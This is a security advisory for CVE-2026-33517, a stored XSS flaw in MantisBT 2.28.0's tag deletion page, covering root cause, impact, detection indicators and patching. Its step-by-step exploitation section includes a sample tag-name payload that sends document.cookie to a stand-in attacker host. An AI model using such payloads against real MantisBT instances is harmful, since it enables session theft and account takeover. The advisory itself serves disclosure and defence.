CVE-2026-33517: 
PHP vulnerability analysis and mitigation

CVE-2026-33517 is a stored HTML injection / Cross-Site Scripting (XSS) vulnerability in Mantis Bug Tracker (MantisBT) affecting exclusively version 2.28.0. When a tag is deleted via tag_delete.php, the tag name is not properly HTML-escaped before being rendered in the deletion confirmation message, allowing an attacker to inject arbitrary HTML and, where CSP settings permit, execute JavaScript in the victim's browser. The vulnerability was discovered by Vishal Shukla, disclosed on March 23, 2026, and patched in version 2.28.1. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 8.6 (High) (Github Advisory, MantisBT Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability was introduced by commit d6890320752ecf37bd74d11fe14fe7dc12335be9, which added the tag name directly into the $s_tag_delete_message language string via a sprintf() call in tag_delete.php without applying HTML entity encoding. An attacker with low-level privileges (sufficient to create tags) can craft a tag whose name contains malicious HTML or JavaScript (e.g., <script>...</script>). When any user navigates to the tag deletion confirmation page for that tag, the injected payload is rendered unescaped in the confirmation message, triggering execution if the site's Content Security Policy does not block inline scripts. The fix (commit 80990f43153167c73f11eb4b2bc7108d0c3d6b46) wraps the tag name with string_html_specialchars() before passing it to sprintf() (MantisBT Advisory, Patch Commit).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any MantisBT user who visits the tag deletion confirmation page for a maliciously named tag. This can result in session cookie theft, account hijacking, unauthorized actions performed on behalf of the victim (such as modifying or deleting issues), and potential exposure of sensitive project data. Because the payload is stored server-side in the tag name, all users with access to the tag deletion workflow are at risk without any further attacker interaction after the tag is created (Github Advisory, MantisBT Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.049% (16th percentile), indicating a low near-term probability of exploitation. Exploitation requires an authenticated attacker with at least tag-creation privileges, and a separate user must interact with the tag deletion confirmation page for the payload to execute.

1. Obtain low-privilege access: Log in to a MantisBT 2.28.0 instance with an account that has permission to create tags (typically any authenticated user with reporter-level access or above).
2. Create a malicious tag: Navigate to the tag management interface and create a new tag with a name containing an HTML/JavaScript payload, for example: TestTag<script>document.location='https://attacker.example/steal?c='+document.cookie</script>.
3. Identify the tag ID: Note the tag ID assigned to the newly created tag (visible in the URL when viewing or editing the tag).
4. Deliver the deletion link: Craft or share a URL pointing to the tag deletion confirmation page, e.g., https://mantisbt.example.com/tag_delete.php?tag_id=<ID>, and socially engineer a privileged user (e.g., an administrator) into visiting it, or wait for an administrator to naturally attempt to delete the tag.
5. Payload executes: When the target user loads the confirmation page, the unescaped tag name is rendered in the confirmation message, executing the injected JavaScript in their browser context — enabling session cookie theft, credential harvesting, or further unauthorized actions (MantisBT Advisory, Patch Commit).

• Logs: Web server access logs showing requests to tag_delete.php with tag IDs corresponding to tags with suspicious names; look for URL-encoded HTML/script characters (%3C, %3E, %22, %27) in referrer or parameter fields.
• Application Data: Tags in the MantisBT database (mantis_tag_table) whose name field contains HTML tags, <script> blocks, event handler attributes (e.g., onerror=, onload=), or JavaScript URIs (javascript:).
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing tag_delete.php, potentially carrying session tokens or cookies as query parameters.
• Browser/Client: Unexpected redirects or resource loads to attacker-controlled domains originating from the MantisBT application origin in browser developer tools or proxy logs.

The primary remediation is to upgrade MantisBT to version 2.28.1, which applies proper HTML escaping via string_html_specialchars() to the tag name before it is inserted into the deletion confirmation message (MantisBT Advisory, Patch Commit). If immediate upgrade is not possible, two workarounds are available: (1) revert commit d6890320752ecf37bd74d11fe14fe7dc12335be9 to remove the tag name from the confirmation message entirely, or (2) manually edit all language files to remove the %1$s sprintf placeholder from the $s_tag_delete_message string (e.g., using sed -r -i '/tag_delete_message/s/.%1\$s.//' -- lang/). Additionally, enforcing a strict Content Security Policy (CSP) that disallows inline script execution will reduce the impact of any XSS exploitation.

The vulnerability was responsibly disclosed by security researcher Vishal Shukla (GitHub: shukla304) and remediated by MantisBT maintainer dregad. The MantisBT project published a security advisory and released a patch promptly on March 23, 2026. No significant broader media coverage or notable community controversy has been observed beyond standard vulnerability database indexing (MantisBT Advisory).